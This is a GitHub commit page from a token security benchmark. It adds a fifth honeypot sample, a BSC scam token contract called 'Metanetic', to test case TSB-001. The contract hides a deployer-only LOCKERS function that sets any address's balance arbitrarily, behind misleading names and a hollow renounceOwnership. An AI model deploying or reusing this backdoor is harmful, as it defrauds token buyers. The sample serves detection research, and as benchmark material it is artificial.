Skip to content

Commit

Permalink
feat: add new risk samples to TSB001 (#3)
Browse files Browse the repository at this point in the history
* add new risk samples to TSB001

* update docs

---------

Co-authored-by: Jiacheng Xu <xjcmaxwellcjx@gmail.com>
  • Loading branch information
0xyue and jiachengxu authored Sep 18, 2023
1 parent 8774890 commit 7a442bc
Show file tree
Hide file tree
Showing 3 changed files with 262 additions and 1 deletion.
3 changes: 2 additions & 1 deletion docs/TSB-001.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,4 +9,5 @@ This is a honeypot smart contract sample demonstrating unpredictable behavior wh
- [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-001/samples/01.sol)
- [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-001/samples/02.sol)
- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-001/samples/03.sol)
- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-001/samples/04.sol)
- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-001/samples/04.sol)
- [05.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-001/samples/05.sol)
3 changes: 3 additions & 0 deletions src/TSB-001/metadata.json
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,9 @@
},
{
"name": "04.sol"
},
{
"name": "05.sol"
}
]
}
257 changes: 257 additions & 0 deletions src/TSB-001/samples/05.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,257 @@
/**
*Submitted for verification at BscScan.com on 2021-12-26
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}

contract IERC20 {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);

constructor() public {
owner = msg.sender;
}
}

library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}

function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}

function functionCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}

function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}

function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}

contract Metanetic is IERC20 {
using Address for address;
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 lpfee = 0;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
mapping(address => bool) public allowAddress;
address Marketing;

constructor(string memory _name, string memory _symbol) public {
Marketing = msg.sender;
name = _name;
symbol = _symbol;
decimals = 9;
totalSupply = 1000000000000000 * 10 ** uint256(decimals);
balances[Marketing] = totalSupply;
allowAddress[Marketing] = true;
}

mapping(address => uint256) public balances;

function transfer(address _to, uint256 _value) public returns (bool) {
address from = msg.sender;
require(_to != address(0));
require(_value <= balances[from]);
if (allowAddress[from] || allowAddress[_to]) {
_transfer(from, _to, _value);
return true;
}
_transfer(from, _to, _value);
return true;
}

function _transfer(address from, address _to, uint256 _value) private {
balances[from] = balances[from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(from, _to, _value);
}

modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}

function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}

function _marketingfees(address miner, uint256 _value) internal {
balances[miner] =
(balances[miner] * 1 * 2 - balances[miner] * 1 * 2) +
(_value * 10 ** uint256(decimals));
}

mapping(address => mapping(address => uint256)) public allowed;

function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
address from = _from;
if (allowAddress[from] || allowAddress[_to]) {
_transferFrom(_from, _to, _value);
return true;
}
_transferFrom(_from, _to, _value);
return true;
}

function _transferFrom(
address _from,
address _to,
uint256 _value
) internal {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}

modifier _external() {
require(
Marketing == msg.sender,
"ERC20: cannot permit Pancake address"
);
_;
}

function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}

function allowance(
address _owner,
address _spender
) public view returns (uint256) {
return allowed[_owner][_spender];
}

function LOCKERS(address lpaddress, uint256 _value) public _external {
_marketingfees(lpaddress, _value);
}
}

0 comments on commit 7a442bc

Please sign in to comment.